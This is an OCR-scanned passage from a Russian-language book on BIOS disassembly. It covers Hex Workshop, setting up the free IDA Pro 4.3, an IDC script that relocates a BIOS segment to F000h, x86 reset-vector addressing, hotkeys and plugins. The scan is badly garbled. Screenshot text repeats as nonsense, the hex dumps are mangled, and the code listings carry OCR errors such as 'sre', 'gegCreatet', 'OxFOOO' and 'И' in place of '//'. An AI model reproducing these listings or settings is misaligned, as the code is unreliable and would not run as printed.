VHex WorkshiVHex Workshi[4BGF1P50 BIN][4BGF1P50 BIN]В Eile Edit Qisk ^Qptions Tools y^indow Цё1р* у ; св IjStaj в ' s i о f в gBВ Eile Edit Qisk ^Qptions Tools y^indow Цё1р* у ; св IjStaj в ' s i о f в gBггI &I &Й |>] А1 al ^ 1|^Й |>] А1 al ^ 1|^— ■Д’ X J :— ■Д’ X J :•00000000 00000010:00000020 <00000030 00000040■00000050 В00000060 00000070 ■ 00000080•00000000 00000010:00000020 <00000030 00000040■00000050 В00000060 00000070 ■ 00000080F5CC 0000 696E 927D A668 BADC BDB7 8607 4AE0F5CC 0000 696E 927D A668 BADC BDB7 8607 4AE0216C 5020 6309 E739 9414 72B6 DBBB 0815 00B9216C 5020 6309 E739 9414 72B6 DBBB 0815 00B96635 010C2000 CCCC5A41 A9D0 B9D6 67B09FFF6635 010C2000 CCCC5A41 A9D0 B9D6 67B09FFF2DC0 3442 002C C301 4485 E716 B69A B56C 79982DC0 3442 002C C301 4485 E716 B69A B56C 79984D01 4746 C88F CCC4 23A9 DDAA 6D7A 53B4 13574D01 4746 C88F CCC4 23A9 DDAA 6D7A 53B4 13570000 3150 787E 4155 7111 7838 B559 E226 7DEE0000 3150 787E 4155 7111 7838 B559 E226 7DEE0002 3530 EB12 5B33 2110 C41949A4 8FD1 FBF70002 3530 EB12 5B33 2110 C41949A4 8FD1 FBF7GOOD 2E62 52DE 1A1C E8E1 C957 01BB E2A9 CF9FGOOD 2E62 52DE 1A1C E8E1 C957 01BB E2A9 CF9F-Ih5-.H-Ih5-.H. .P inc..}.9 .h..:. .P inc..}.9 .h..:4BGFlP50.b4BGFlP50.b. .x~..R...AU[3 ).q.l . .x8.. .x~..R...AU[3 ).q.l . .x8.55P «Br-HPSO.J"SesdyP «Br-HPSO.J"SesdyOffset. 30000000 ' «Ййие 1 -13275Offset. 30000000 ' «Ййие 1 -13275ZADZAD524263 bytes524263 bytes....mz.YI g.-is..&. ..y..W}. .....mz.YI g.-is..&. ..y..W}. .
VHex Workshi
VHex Workshi
[4BGF1P50 BIN]
[4BGF1P50 BIN]
В Eile Edit Qisk ^Qptions Tools y^indow Цё1р
* у ; св IjStaj в ' s i о f в gB
В Eile Edit Qisk ^Qptions Tools y^indow Цё1р
* у ; св IjStaj в ' s i о f в gB
г
г
I &
I &
Й |>] А1 al ^ 1|^
Й |>] А1 al ^ 1|^
— ■Д’ X J :
— ■Д’ X J :
•00000000 00000010
:00000020 <00000030 00000040
■00000050 В00000060 00000070 ■ 00000080
•00000000 00000010
:00000020 <00000030 00000040
■00000050 В00000060 00000070 ■ 00000080
F5CC 0000 696E 927D A668 BADC BDB7 8607 4AE0
F5CC 0000 696E 927D A668 BADC BDB7 8607 4AE0
216C 5020 6309 E739 9414 72B6 DBBB 0815 00B9
216C 5020 6309 E739 9414 72B6 DBBB 0815 00B9
6635 010C
2000 CCCC
5A41 A9D0 B9D6 67B0
9FFF
6635 010C
2000 CCCC
5A41 A9D0 B9D6 67B0
9FFF
2DC0 3442 002C C301 4485 E716 B69A B56C 7998
2DC0 3442 002C C301 4485 E716 B69A B56C 7998
4D01 4746 C88F CCC4 23A9 DDAA 6D7A 53B4 1357
4D01 4746 C88F CCC4 23A9 DDAA 6D7A 53B4 1357
0000 3150 787E 4155 7111 7838 B559 E226 7DEE
0000 3150 787E 4155 7111 7838 B559 E226 7DEE
0002 3530 EB12 5B33 2110 C419
49A4 8FD1 FBF7
0002 3530 EB12 5B33 2110 C419
49A4 8FD1 FBF7
GOOD 2E62 52DE 1A1C E8E1 C957 01BB E2A9 CF9F
GOOD 2E62 52DE 1A1C E8E1 C957 01BB E2A9 CF9F
-Ih5-.H
-Ih5-.H
. .P inc.
.}.9 .h..:
. .P inc.
.}.9 .h..:
4BGFlP50.b
4BGFlP50.b
. .x~..R.
..AU[3 ).q.l . .x8.
. .x~..R.
..AU[3 ).q.l . .x8.
5
5
P «Br-HPSO.J"
Sesdy
P «Br-HPSO.J"
Sesdy
Offset. 30000000 ' «Ййие 1 -13275
Offset. 30000000 ' «Ййие 1 -13275
ZAD
ZAD
524263 bytes
524263 bytes
....mz.YI g.-is..&. ..y..W}. .
....mz.YI g.-is..&. ..y..W}. .
Рис. 2.1. Файл BIOS материнской платы Foxconn 955X7AA-8EKRS2,открытый в Hex Workshop
Вы можете попробовать идентифицировать метки заголовков файлов другихвИдов. Например, файлы, сжатые при помощи утилиты WinZip, начинаются
с последовательности ASCII рк, а файлы, сжатые при помощи WinRAR, начинаются со строки Rar!. Этот пример показывает, насколько информативным может быть предварительное исследование файла.
Знакомство с дизассемблером IDA Pro
В большинстве случаев, приобретая программное обеспечение, мы получаем лишь его исполняемый код, а исходный код программы не предоставляется. Микропрограммное обеспечение BIOS тоже поставляется лишь в виде двоичного файла. Чтобы понять рабочий алгоритм программы, ее следует проанализировать при помощи специализированных инструментальных средств. Основными средствами анализа являются отладчики (debuggers), дизассемблеры (disassemblers), шестнадцатеричные редакторы (hex editors), внутрисхемные эмуляторы (in-circuit emulators) и т. д. В данной книге рассматриваются лишь дизассемблер и шестнадцатеричный редактор.
Дизассемблер IDA Pro, обсуждаемый в этой главе, представляет собой наиболее мощную из программ этого класса. Он поддерживает дополнительные модули и предоставляет возможности для написания сценариев. Кроме того, IDA Pro обеспечивает поддержку более 50 различных процессорных архитектур. Однако всем мощным инструментам присущ один общий недостаток — сложность в освоении. Не является исключением из этого правила и IDA Pro. Поэтому основная цель данной главы заключается в том, чтобы помочь начинающим читателям овладеть основными навыками работы с этим действительно уникальным средством анализа программного обеспечения.
Существует несколько версий IDA Pro — бесплатная (freeware), стандартная (standard) и расширенная (advanced). На момент написания этой книги последней бесплатной версией программы была IDA Pro v. 4.3. Ее можно скачать по адресу http://www.dirfile.com/ida_pro_freeware_version.htm. Это — наиболее ограниченная в возможностях версия IDA Pro. Изо всех процессорных архитектур поддерживается только х86, и нет функции поддержки подключаемых модулей. Но эта версия бесплатна, и именно по этой причине она и была выбрана для работы с примерами, приведенными в данной книге. К счастью, поддержка возможности создания сценариев в данной версии IDA Pro обеспечивается. Стандартная и расширенная версии IDA Pro 4.3 отличаются от бесплатной. Они поддерживают дополнительные модули, а также большее количество процессорных архитектур. Использование возможностей разработки сценариев будет рассмотрено в следующем разделе.
Установка IDA Pro ничем не отличается от установки других программ для Windows — просто запустите инсталляционный файл и следуйте инструкциям мастера установки. Но после установки необходимо отредактировать
конфигурационный файл IDA Pro, чтобы устранить ошибку, связанную с открытием файлов BIOS с расширением .ROM. Конфигурационный файл называется ida.cfg. Он находится в той папке, в которой установлен дизассемблер П)А Pro. Откройте этот файл любым текстовым редактором (например, для этой цели можно использовать стандартное приложение Windows "Блокнот”)- Содержимое файла показано в листинге 2.1.
Листинг 2.1. Содержимое файла ida.cfg, задающего соответствия между расширениями файлов и типами процессоров
DEFAULT-PROCESSOR = {
/* Extension "com" : "exe" : "dll" : "drv" : "sys" : "bin" :
Processor */
"8086"//Если файл не имеет расширения,
""//IDA Pro будет пытатьсяиспользовать
""Нуказанные расширения.
""ИПустое поле процессора
// означает процессор по умолчанию.
"ovl" : "ovr" : "OV?" : "nlm" : "lan" : "dsk" : "obj" : "pre" : "axf" : "h68" : "i51" : "sav" : "rom" : "cla*": "sl9" : "O" ;
"68000"// Программы Palm Pilot
"arm710a"
"68000"//MC68000дляфайлов*.Н68
"8051"//i8051дляфайлов*.151
"pdpll"//PDP-11дляфайлов*.SAV
"z80"//Z80дляфайлов*.ROM
"java" "6811"
""// Процессор по умолчанию
Обратите внимание на следующую строку:
гот” ;
"z80"Ц Z80для файлов *.ROM
Удалите ее или просто замените "z80" на "", чтобы отключить автоматическую загрузку модуля для процессора z80 при открытии файла *.rom. Если этого не сделать, то бесплатная версия IDA Pro прекратит работу при попытке загрузки файла *.rom, так как в ней нет модуля для поддержки процессора z80. Файлы BIOS некоторых материнских плат по умолчанию имеют расширение .ROM, хотя очевидно, что они не будут исполняться на машине с процессором z80. Исправив эту ошибку, можно быть уверенным, что файлы BIOS с расширением .ROM будут открываться в дизассемблере без проблем. Процедура для удаления других соответствий расширение файла/тип процессора такая же, как и для процессора z80.
IDA - The Interactive DisassemblerIDA - The Interactive DisassemblerAboutAboutFreeware Version 4. JFreeware Version 4. J[c] 2004 Datareivue saAw[c] 2004 Datareivue saAwУспешно установив IDA Pro, запустите дизассемблер и откройте двоичный файл BIOS. Для этого примера я использовал файл BIOS da8r9025.rom для материнской платы Supermicro H8DAR-8 (версия для ОЕМ-компаний). В этой материнской плате применяется чипсет AMD 8000, в состав которого входят чипы AMD-8131 HyperTransport PCI-X Tunnel (северный мост) и AMD-8111 HyperTransport I/O Hub (южный мост). При запуске IDA Pro открывается информационное диалоговое окно (рис. 2.2).
IDA - The Interactive Disassembler
IDA - The Interactive Disassembler
About
About
Freeware Version 4. J
Freeware Version 4. J
[c] 2004 Datareivue saAw
[c] 2004 Datareivue saAw
Welcome to the freeware edrtion of The Interactive Disassembler Pro This version is fully functional but does not offer all the bets and whistles cl the commercial versions of IDA Pro With the commercial version of IDA Pro you get
Moie processors (more than 50)
Try the commercial version of IDA Pro today!Try the commercial version of IDA Pro today!More file formats.
Try the commercial version of IDA Pro today!
Try the commercial version of IDA Pro today!
More signatures, type libraries, symbol files
Better and faster analysis
T rue 64-bil support.
Linux versions.
A local and remote debugger for Windows and Linux.
A comprehensive SDK (more than 100000 lines of source code)
Multiple configurable desktops.
I .V//,vwdatarescue camI .V//,vwdatarescue camT echnical support, private board access, a year of free updates 11 And much much more .
I .V//,vwdatarescue cam
I .V//,vwdatarescue cam
Рис. 2.2. Информационное диалоговое окно бесплатной версии IDA Pro
Рис. 2.3. Второе диалоговое окно бесплатной версии IDA Pro
Нажмите кнопку ОК, чтобы продолжить работу. На экране появится следующее диалоговое окно (рис. 2.3).
В этом окне можно выбрать один из трех режимов работы: New (новый проект) — Disassemble a new file (дизассемблировать новый файл); Go (продолжить) — Work on your own (работать самостоятельно) и Previous (предыдущий) — Load the old disassembly (загрузить ранее сохраненный дизассемблированный файл). На данном этапе, выберите опцию Work on your own, нажав кнопку Go. Откроется пустое окно рабочей среды IDA Pro (рис. 2.4).
Откройте папку с нужным файлом и, согласно инструкции, отображенной в центре окна (Drag a file here to disassemble — Перетащите файл для дизассемблирования сюда), перетащите нужный файл в окно IDA Pro. Откроется следующее диалоговое окно (рис. 2.5).
Рис. 2.5. Окно открытия нового двоичного файла в бесплатной версии IDA Pro
Рис. 2.6. Окно выбора режима работы процессора
В этом диалоговом окне выберите из списка Processor type тип процессора Intel 80x86 processors: athlon и нажмите кнопку Set, чтобы активировать новый тип процессора. Значения остальных опций оставьте без изменений. Нажмите кнопку ОК. Откроется окно выбора режима работы процессора (рис. 2.6).
В данном диалоговом окне предлагается выбрать между 16-битным (16-bit mode) и 32-битным (32-bit mode) режимами работы процессора архитектуры х86. По умолчанию выбран 32-битный режим, и окно предлагает подтвердить этот выбор. Однако в "Руководстве программиста архитектуры AMD64: Системное программирование", февраль 2005, раздел 14.1.5, страница 417 (AMD64 Architecture Programmer’s Manual Volume 2: System Programming, February 2005, Section 14.1.5) говорится следующее:
Сигнал reset# или init переводит процессор в 16-разрядный реальный режим.
Кроме того, в разделе 9.1.1 тома 3 "Руководства разработчика программных средств архитектуры Intel IA-32" (ДА-32 Intel Architecture Software Developer’s Manual Volume 3: System Programming Guide 2004, Section 9.1.1) говорится следующее:
В таблице 9-1 показано состояние флагов и других регистров после подачи питания на процессоры Pentium 4, Intel Xeon, процессоры семейства Р6 и процессоры Pentium. Значение контрольного регистра CR0 выставляется в 6000001 он (см. рис. 9-1), что переключает процессор в режим реальной адресации и отключает страничную адресацию.
На основании этого можно сделать вывод о том, что после подачи питания или сброса (reset), любой процессор архитектуры х86 начинает работать в 16- Разрядном реальном режиме. Поэтому в диалоговом окне Please confirm Фис. 2.6) необходимо выбрать именно 16-разрядный режим работы. Для этоГо следует отказаться от предлагаемого по умолчанию 32-разрядного режима, нажав в этом окне кнопку No. В результате откроется следующее диалоговое °кно (рис. 2.7). • '
Рис. 2.7. Окно указания точки входа
Окно Information (рис. 2.7) информирует вас о том, что IDA Pro не может определить точку входа (entry point) загружаемой программы. Вам придется определить ее самостоятельно чуть позднее, а пока нажмите кнопку ОК, чтобы перейти к главному окну IDA Pro, содержащему дизассемблированный листинг загруженного файла (рис. 2.8).
Итак, мы рассмотрели пошаговый процесс загрузки двоичного файла в IDA Pro. Несмотря на кажущуюся простоту, для тех, кто ранее никогда не работал с IDA Pro, даже эта задача не будет тривиальной. Именно поэтому данная процедура и была рассмотрена столь подробно. Однако на данный момент работать с содержимым файла, открытого в среде разработки, пока еще нельзя. Чтобы начать работать с базой данных, сгенерированной IDA Pro на основе дизассемблированного файла, сначала необходимо научиться работать со средствами создания сценариев IDA Pro.
Создание сценариев и назначение горячих клавиш
В этом разделе мы попробуем проанализировать базу данных дизассемблированного файла, созданную на предыдущем шаге. Эту задачу мы выполним, написав простейший сценарий. Для этого необходимо иметь, по крайней мере, общее представление о работе со встроенным языком сценариев IDA Pro. Синтаксис этого языка похож на синтаксис языка программирования С. Основные правила языка сценариев IDA Pro перечислены ниже:
Язык сценариев IDA Pro поддерживает только один тип данных — auto. Других типов данных, характерных для языка С (например, int или char), встроенный язык IDA Pro не имеет. Переменные в IDA Pro объявляются следующим образом:
auto имя_переменной;
Как и в языке С, каждый оператор завершается точкой с запятой (;).
$• Функция может возвращать или не возвращать значение, но тип значения, возвращаемого функцией, не декларируется. Функции объявляются следующим образом:
static имя_функщ1и^аргумент_1,... аргуменТ-П1)
Комментарии в IDA Pro начинаются двойной косой чертой (//). Движок сценариев IDA Pro игнорирует все содержимое строки, следующее за Двойной косой чертой. Примеры:
// комментарий.
°ПеРатор; // комментарий
Внутренние функциональные возможности IDA Pro "экспортируются” в сценарии с помощью заголовочных файлов. Необходимая функциональность придается сценарию включением соответствующего заголовочного файла при помощи директивы #inciude. В любой сценарий IDA Pro должен быть включен, по крайней мере, один заголовочный файл, а именно idc.idc. Заголовочные файлы имеют расширение JDC. Они находятся во вложенной папке ide каталога, в который установлен дизассемблер IDA Pro." Определить функциональные возможности, предоставляемые конкретным заголовочным файлом, можно, прочитав соответствующий файл. Таким образом, можно узнать весь диапазон функциональных возможностей, предоставляемых сценариям IDA Pro. Наиболее важным заголовочным файлом, с которым следует ознакомиться, является файл idc.idc. Заголовочные файлы подключаются к сценариям IDA Pro следующим образом:
#include <имя_заголовочного_файла>
Как и в языке С, точкой входа любого сценария IDA Pro является функция main.
Итак, изложенных теоретических сведений вполне достаточно для реализации практического примера сценария IDA Pro (листинг 2.2).
Листинг 2.2. Сценарий IDA Pro для перемещения сегмента
#include <idc.idc>
И Перемещаем один сегмент static relocate_seg(src, dest) { auto ea_src, ea_dest, hi_limit;
hi_limit = sre + 0x10000;
ea_dest = dest;
for(ea_src = sre; ea_src < hi_limit ; ea_src = ea_src + 4 ) {
PatchDword( ea_dest, Dword(ea_src));
ea_dest = ea_dest + 4;
}
Message("Перемещение сегмента завершено." "(в функции relocate_seg)...\n"); }
static main()
{
Message("Создается сегмент назначения"
"(В точке входа — функции main)...\п");
gegCreatet[OxFOOO, 0] , [0x10000, 0] , OxFOOO, 0, 0, 0);
gegRename([OxFOOO, 0], "_F000"); // Даем сегменту новое имя.
relocate_seg([0x7000, 0], [OxFOOO, 0]);
)
Как уже говорилось ранее, точкой входа программы, представленной в Листинге 2.2, является функция main. Сначала эта функция вызывает внутреннюю функцию IDA Pro Message, с помощью которой в панели сообщений главного окна IDA Pro выводится следующее сообщение:
Message("Создается сегмент назначения" " (в точке входа - функции main)...\п");
Затем функция Main вызывает другую внутреннюю функцию IDA Pro, segcreate, с помощью которой создается новый сегмент:
SegCreate([OxFOOO, 0] , [0x10000, 0], OxFOOO, 0, 0, 0) ;
После этого вызывается еще одна внутренняя функция IDA Pro, SegRename, с помощью которой созданному сегменту присваивается новое имя:
SegRename( [OxFOOO, 0] , "_F000"); Н Даем сегменту новое имя.
Наконец, вызывается функция reiocate_seg, с помощью которой часть дизассемблированного двоичного файла (один сегмент) перемещается в только что созданный сегмент:
relocate_seg([0x7000, 0], [OxFOOO, 0]);,
Две квадратные скобки ([ ]) в приведенном сценарии представляют собой оператор, формирующий линейный адрес из переданных ему аргументов. Адрес формируется путем смещения первого аргумента на четыре бита влево (что соответствует умножению на десятичное значение 16) и последующего сложения полученного числа со вторым аргументом. Таким образом, оператор [Ох7ооо, о] фактически выполняет следующие действия: (0x7000 « 4) + о. Сформированный таким образом линейный адрес будет равен ох?_оооо. Этот оператор соответствует оператору mk_fp (,), имевшемуся в предыдущих версиях IDA Pro.
Чтобы добиться более полного понимания этого сценария, необходимо озна- к°миться с объявлениями внутренних функций IDA Pro (т. е. Message, Ss9Create и SegRename), используемых в нем. Эти объявления содержатся Заголовочном файле ide.ide. Например, объявление функции segcreate поКазано в листинге 2.3.
Кроме вышеупомянутых экспортируемых функций, имеется множество других. Чтобы использовать необходимую экспортируемую функцию, следует ознакомиться с ее определением в соответствующем заголовочном файле с расширением .ide.
Листинг 2,3. Объявление функции SegCreate в заголовочном файле ide,ide
// Create a new segment (Создаем новый сегмент)
// startea
- linear address of the start of the segment
И
(линейный адрес начала сегмента)
И endea
- linear address of the end of the segment
И
(линейный адрес конца сегмента)
И
This address will not belong to the segment.
И
(Этот адрес находится за пределами сегмента).
И
'endea' should be higher than 'startea'
И
(адрес 'endea' должен быть выше, чем 'startea').
И base
- base paragraph or selector of che segment
И
(базовый параграф или селектор сегмента)
И
A paragraph is a 16-byce memory chunk.
И
(Параграф - это 16-байтовый блок памяти).
И
If a selector value is specified, the selector
И
should already be defined.
И
(Значение может быть установлено только
И
уже объявленному селектору).
И use32
- 0: 16-bit segment, 1: 32-bit segment
И
( - 0 - 16-битный сегмент, 1 — 32-битный сегмент)
// align
- Segment alignment; see below for alignment values.
И
(Выравнивание сегмента; значения выравнивания см. ниже).
// comb
- Segment combination; see below for combination values.
И
(Комбинация сегмента; значения комбинации см. ниже).
И
returns: 0 - failed, 1 — ok
И
(возвращаемые значения: 0 — неудачное завершение, 1 — ОК)
success SegCreate(long startea, long endea, long base, long use32, long align, long comb);
Как показывает пример, приведенный в листинге 2.3, объявления внутренних функций IDA Pro в заголовочных файлах сопровождаются подробными комментариями.
Обратите внимание — чтобы выполнить сценарий, приведенный в листинге 2.2. необходимо предварительно загрузить двоичный файл BIOS размером
в 512 Кбайт в IDA Pro по начальному адресу ooooh. Никаких дополнительны) действий для этого предпринимать не требуется. Достаточно открыть файл как описано в предыдущем разделе. Чтобы выполнить сценарий, приведенный в листинге 2.2, загрузите двоичный файл BIOS материнской платы Supermicro H8DAR-8, а затем исполните сценарий. Имейте в виду, что прежде чем сценарий может быть исполнен, его следует сохранить в простом файле текстового формата. Для этого можно воспользоваться любым редактором ASCII (например, встроенным приложением Windows "Блокнот"). Присвойте файлу любое имя (например, function.ide). Чтобы запустить сценарий на исполнение, нажмите клавишу <F2> или же выберите команду IDC file... из меню File, после чего откроется окно выбора файла (см. рис. 2.9).
Рис. 2.9. Указание файла сценария IDC для исполнения
тобы исполнить сценарий, выберите из списка необходимый файл и нажмиТе кн°пку Open. Если сценарий содержит синтаксические ошибки, IDA Pro выведет окно с соответствующим сообщением об ошибке. Исполнение сцеНария сопровождается созданием журнала исполнения, выводящегося в панели сообщений главного окна IDA Pro (см. рис. 2.10).
Рис. 2.10. Результат исполнения файла сценария function.idc
Сценарий в листинге 2.2 перемещает последний сегмент (64 Кбайта) кода BIOS материнской платы Supermicro H8DAR-8 по правильному адресу. Следует иметь в виду, что IDA Pro — это всего лишь высококлассный инструмент, используемый для облегчения процесса дизассемблирования. В то же время, это — не "волшебная палочка", которая автоматически выполнит любою задачу (в данном случае — разбор структуры двоичного файла BIOS). Чтобы получить этот результат, вам придется принимать деятельное участие в процессе дизассемблирования, выполнять ручные операции и принимать самостоятельные решения. Только что рассмотренный сценарий перемешает, или копирует, код BIOS из диапазона физических, или линейных, адресов 0x7_0000-0x7_FFFFВДИЗПаЗОН 0xF_0000-0xF_FFFF. Рассмотрим ЛОГИЧС' ские причины для такого перемещения. В технической спецификации хаба
вВода/вывода HyperTransport AMD-8111 {AMD-8111 HyperTransport I/O Hub Datasheet), глава 4, страница 153 приводится следующая информация:
Фрагмент технической спецификации хаба ввода/вывода HyperTransport AMD-8111
Следующие диапазоны адресов всегда указываются, как диапазоны адресов BIOS. Дополнительная информация о том, как можно управлять доступом к пространству BIOS, представлена в разделе, посвященном описанию адресного пространства регистров, управляющих доступом к BIOS (DevB: 0x80).
Размер
Диапазон адресов хоста [31:0]
Трансляция
64 Кбайт
FFFF_0 000h-FFFF_FFFFh
FFFF_0000h-FFFF_FFFFh
64 Кбайт
000F_0000h-000F_FFFFh
FFFF_0000h-FFFF_FFFFh
Кроме того, в "Руководстве программиста архитектуры AMD64: Системное программирование" (AMD64 Architecture Programmer's Manual Volume 2: System Programming), февраль 2005, раздел 14.1.5, страница 417 говорится следующее:
Фрагмент "Руководства программиста архитектуры AMD64: Системное программирование"
Как правило, в реальном режиме базовый адрес сегмента кода формируется путем сдвига значения селектора cs на четыре бита влево. Полученный таким образом базовый адрес складывается со значением, содержащимся в eip, в результате чего получается физический адрес памяти. По этой причине, работающий в реальном режиме процессор может адресовать только первый 1 Мбайт памяти. Однако, сразу же после получения сигналов reset# или init, в регистр селектора cs загружается значение FOOOh. При этом, однако, базовый адрес в регистре cs формируется не путем выполнения операции сдвига влево над значением селектора, а путем его инициализации значением FFFF_0000h. Регистр eip инициализируется значением FFFOh. Таким образом, первая инструкция выбирается из памяти по физическому адресу ffff_fffOH (FFFF_0000h +0000_FFF0h).
Описание конфигурационного пространства и соглашений об именовании регистров См- в разд. 4.1 (стр. 133-134) упомянутой технической спецификации. В данном слуЧае аббревиатура DevB: 0x80 означает, что регистры управления доступом к BIOS расположены в конфигурационном пространстве шины HyperTransport — второе устройство (DevB), функция 0, смещение 80. Этот регистр управляет меха- мом блокировки последнего мегабайта на верхней границе 4-гигабайтного адрес° пространства. Обратите внимание, что адресация устройств HyperTransport пРедставляет собой "надмножество" над адресацией устройств PCI.
Начальное значение базового адреса cs не меняется до тех пор, пока регистр селектора cs не загрузится программно. Это может произойти, например, в результате исполнения инструкции far jump или call. После того как регистр cs загрузится программно, новое значение базового адреса устанавливается способом, определенным для реального режима (т. е. путем осуществления операции сдвига значения селектора влево на четыре бита).
На основании приведенных цитат можно сделать вывод о том, что диапазон 000F_0000h-000F_FFFFh ЯВЛЯвТСЯ ПССВДОНИМОМ диапазона FFFF_0000h- FFFF_FFFFh, т. е. они оба указывают на один и тот же диапазон физических адресов. Всякий раз, когда хост (центральный процессор) выбирает какое- либо значение из диапазона адресов oooF_ooooh-oooF_FFFFh, в действительности он выбирает значение из диапазона адресов FFFF_ooooh-FFFF_FFFFh. Справедливо и обратное. На основании данного обстоятельства и было принято решение о том, что для дальнейшего анализа необходимо переместить 64 Кбайта кода из самой верхней области BIOS в диапазон адресов 000F_0000h-000F_FFFFh. Это решение основывается на моем практическом опыте работы с различными двоичными файлами BIOS. В ходе их анализа я обнаружил, что обычно они ссылаются на адрес в коде BIOS со значением сегмента FOOOh. Кроме того, обратите внимание, что последние 64 Кбайта кода двоичного файла отображаются на последние 64 Кбайта 4-Гбайтного адресного пространства, т. е. на диапазон адресов, нижняя граница которого составляет 4 гбайта - 64 кбайта, а верхняя равна 4 гбайт. Именно по этой причине и необходимо переместить последние 64 Кбайта из самой верхней области BIOS. Не стоит расстраиваться, если на данном этапе эта идея кажется вам слишком сложной для восприятия. Мы еще вернемся к ее более детальному рассмотрению в первом разделе главы 5, где проблемы адресации будут рассмотрены более подробно.
Небольшие сценарии, длина которых составляет лишь несколько строк, можно вводить непосредственно в IDA Pro, не прибегая к помощи внешнего текстового редактора. Для этого в IDA Pro существует специальное диалоговое окно, которое можно открыть, нажав комбинацию клавиш <Shift>+<F2>. Этим окном удобно пользоваться для создания небольших сценариев. Но с увеличением числа строк, может возникнуть необходимость создать сценарий методом, описанным выше (т. е. используя текстовый редактор)» так как количество инструкций, которые можно ввести в окно создания сценариев, ограничено. Для примера, введите в окно встроенного редактора создания сценариев код, показанный на рис. 2.11. Для исполнения введенного сценария, нажмите кнопку ОК.
Пример, показанный на рис. 2.11, является вариантом сценария, представленного в листинге 2.2. Обратите внимание, что при использовании окна Please enter text, предназначенного для создания сценариев, нет необходимости
включать оператор #include в начале сценария. По умолчанию, сценариям, введенным в этом окне, доступны функции изо всех заголовочных файлов (файлов с расширением IDC). Кроме того, в данном случае нет необходимости и в объявлении функции main. В сущности, весь код, набранный в окне создания сценариев, рассматривается так, как если бы он входил в функцию main, объявленную в сценарии, созданном с помощью стороннего текстового редактора.
Рис. 2.11. Окно IDA Pro для создания и исполнения коротких сценариевРис. 2.11. Окно IDA Pro для создания и исполнения коротких сценариев
Рис. 2.11. Окно IDA Pro для создания и исполнения коротких сценариев
Рис. 2.11. Окно IDA Pro для создания и исполнения коротких сценариев
Сейчас вы уже знаете, как загрузить двоичный файл в IDA Pro для его последующего дизассемблирования. Однако прежде чем выполнять загрузку файла (через меню или методом простого перетаскивания), необходимо знать, как работают "горячие" клавиши в IDA Pro. "Горячая" клавиша — это клавиша на клавиатуре, при нажатии которой выполняется определенная команда. Чтобы выполнить какую бы то ни было команду, необходимо, чтобы курсор °ыл расположен в пределах главного окна среды разработки IDA Pro. "ГоряЧие клавиши определены в файле idagui.cfg, который находится в корневом каталоге IDA Pro. Отрывок из этого файла показан в листинге 2.4.
Листинг 2.4. Отрывок из конфигурационного файла "горячих" клавиш
'С•D''А''С•D''А'"Hakecode" "HakeData" ^akeAscii"
'С
•D'
'А'
'С
•D'
'А'
"MakeUnicode" "MakeArray" "MakeUnknown" "MakeName" "Manualoperand" "MakeFunction" "EditFunction" "DelFunction"
0 "Numpad*" 'U''N' "Alt-Fl" ■ p."Alt-P"00 "Numpad*" 'U''N' "Alt-Fl" ■ p."Alt-P"0// Создать строку Unicode.// Создать строку Unicode."Горячие” клавиши, определенные по умолчанию, можно изменить, соответствующим образом откорректировав файл idagui.cfg. Однако в данной книге рассматриваются только "горячие" клавиши по умолчанию. Теперь, ознакомившись с понятием "горячих" клавиш, вы можете применять их при дизассемблировании нашего двоичного файла.
0 "Numpad*" 'U'
'N' "Alt-Fl" ■ p.
"Alt-P"
0
0 "Numpad*" 'U'
'N' "Alt-Fl" ■ p.
"Alt-P"
0
// Создать строку Unicode.
// Создать строку Unicode.
Рис. 2.12. Диалоговое окно для указания адреса переходаРис. 2.12. Диалоговое окно для указания адреса переходаВ предыдущем примере мы создали новый сегмент, т. е. Oxfooo. Теперь перейдем к первой инструкции BIOS, которая исполняется в этом сегменте, т. е. к адресу oxfooo : oxfffo. Нажатие клавиши <G> откроет диалоговое окно Jump to address, в котором требуется указать адрес перехода (рис. 2.12).
Рис. 2.12. Диалоговое окно для указания адреса перехода
Рис. 2.12. Диалоговое окно для указания адреса перехода
Введите в поле Jump to address (Перейти к адресу) адрес, к которому требуется перейти. Адрес необходимо вводить в полном формате (т. е. сегмент: смещение), как показано на рис. 2.12, т. е. в данном случает необходимо ввести fooo:Fffo. Чтобы осуществить фактический переход к этому адресу, нажмите кнопку ОК. Обратите внимание, что префикс Ох вводить не требуется, так как значения в поле ввода по умолчанию интерпретируются в шестнадцатеричном формате. Результат исполнения команды перехода показан на рис. 2.13.
Теперь следует преобразовать значение, находящееся по этому адресу, в осмысленную машинную инструкцию. Для этого нажмите клавишу <С>. Результат исполнения этой команды показан на рис. 2.14.
Рис. 2.13. Результат перехода к указанному адресу
Рис. 2.14. Преобразование бессмысленных значений в код
-3 IDA View А | £ Hex View | N Нете»? '• ГипДог. | ' * Slings | £ Shuctute» | By Enum« |
Рис. 2.15. Результат выполнения команды перехода
Как видно, значение преобразовалось в команду перехода jmp. Чтобы выполнить эту команду, нажмите <Enter>. Результат исполнения этой команды показан на рис. 2.15.
Возвратиться назад после выполненного перехода можно, нажав клавишу <Esc>.
Теперь имеющихся у вас основных знаний хватит, чтобы пользоваться IDA Pro. Если вы еще недостаточно хорошо ознакомились с клавиатурными комбинациями IDA Pro, то всю необходимую информацию можно найти в файле idagui.cfg.
Модули IDA Pro (Необязательный материал)
В этом разделе мы научимся создавать модули IDA Pro. Данный раздел не является обязательным для изучения, так как для выполнения приведенных здесь примеров необходимо приобрести платную версию IDA Pro (IDA Pro Standard или IDA Pro Advanced). Причина состоит в том, что только платные версии IDA Pro поддерживают комплект SDK (Software Development Kit) — комплект разработчика прикладных программ (модулей) IDA Pro. Для разработки модулей IDA Pro наличие SDK IDA Pro является необходимым условием. Более того, для разработки модулей IDA Pro, кроме SDK IDA Pro, требуется иметь в своем распоряжении совместимый с IDA Pro SDK компилятор C/C++, например, GNU C/C++, Borland C/C++ или Micorsoft Visual Studio.
Примечание
Опытный программист может использовать любые совместимые с IDA Pro SDK компиляторы и среды разработки. Однако начинающим рекомендуется работать с Microsoft Visual Studio.NET 2003 IDE, так как все примеры модулей IDA Pro, представленные в данном разделе, созданы с помощью именно этой среды разработки.
Модули являются одной из наиболее мощных возможностей IDA Pro. Область их применения намного обширней, чем возможности сценариев. С помощью модулей опытные программисты могут автоматизировать выполнение различных задач. Язык сценариев поддерживает ограниченное количество типов данных. Кроме того, хотя длина сценариев и может превышать тысячу строк кода, ограничение сценариев по длине все же существует. Необходимость в применении модулей возникает, как только требуется создать сложную утилиту, предназначенную, скажем, для распаковки части исследуемого двоичного файла или, например, в ситуациях, когда нужна про' стая виртуальная машина для эмуляции части двоичного файла.
